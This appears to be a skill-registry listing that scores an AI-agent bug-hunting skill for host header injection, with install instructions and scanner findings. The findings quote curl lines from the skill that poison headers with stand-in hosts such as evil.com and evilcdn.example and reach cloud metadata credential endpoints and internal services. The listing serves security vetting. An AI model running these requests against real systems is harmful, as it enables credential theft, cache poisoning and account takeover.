← All skills
hunt-host-header
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53
Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and …
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: $target
The author does not mention this. Expected for a security skill.
Found in 21 places.
Show 17 more
- skills/hunt-host-header/SKILL.md, line 104
curl -s -X POST https://$TARGET/forgot-password \ - skills/hunt-host-header/SKILL.md, line 108
curl -s -X POST https://$TARGET/forgot-password \ - skills/hunt-host-header/SKILL.md, line 128
curl -s https://$TARGET/ \ - skills/hunt-host-header/SKILL.md, line 133
curl -sI "https://$TARGET/?cb=$RANDOM" \ - skills/hunt-host-header/SKILL.md, line 140
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison - skills/hunt-host-header/SKILL.md, line 141
curl -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONED - skills/hunt-host-header/SKILL.md, line 163
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254" - skills/hunt-host-header/SKILL.md, line 164
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254" - skills/hunt-host-header/SKILL.md, line 167
curl -s "https://$TARGET/computeMetadata/v1/" \ - skills/hunt-host-header/SKILL.md, line 169
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \ - skills/hunt-host-header/SKILL.md, line 173
curl -s "https://$TARGET/" -H "Host: localhost:6379" # Redis behind the proxy - skills/hunt-host-header/SKILL.md, line 174
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local" - skills/hunt-host-header/SKILL.md, line 178
curl -s "https://$TARGET/" -H "Host: $COLLAB" - skills/hunt-host-header/SKILL.md, line 187
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin" - skills/hunt-host-header/SKILL.md, line 188
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics" - skills/hunt-host-header/SKILL.md, line 199
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \ - skills/hunt-host-header/SKILL.md, line 203
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
and 1 more places
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 6 places.
Show 3 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'hunt-host-header' ] || [ -L ~/.agents/skills/'hunt-host-header' ]; then echo 'A skill folder named hunt-host-header already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/hunt-host-header' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/hunt-host-header' ~/.agents/skills/'hunt-host-header' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'hunt-host-header' ~/.claude/skills/'hunt-host-header' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)
Score history
| Date | Version | Score |
|---|
| 2026-11-10 | d5dcc53 | 90 |
| 2026-11-08 | 42a3ab1 | 90 |
| 2026-11-06 | 3e71af0 | 90 |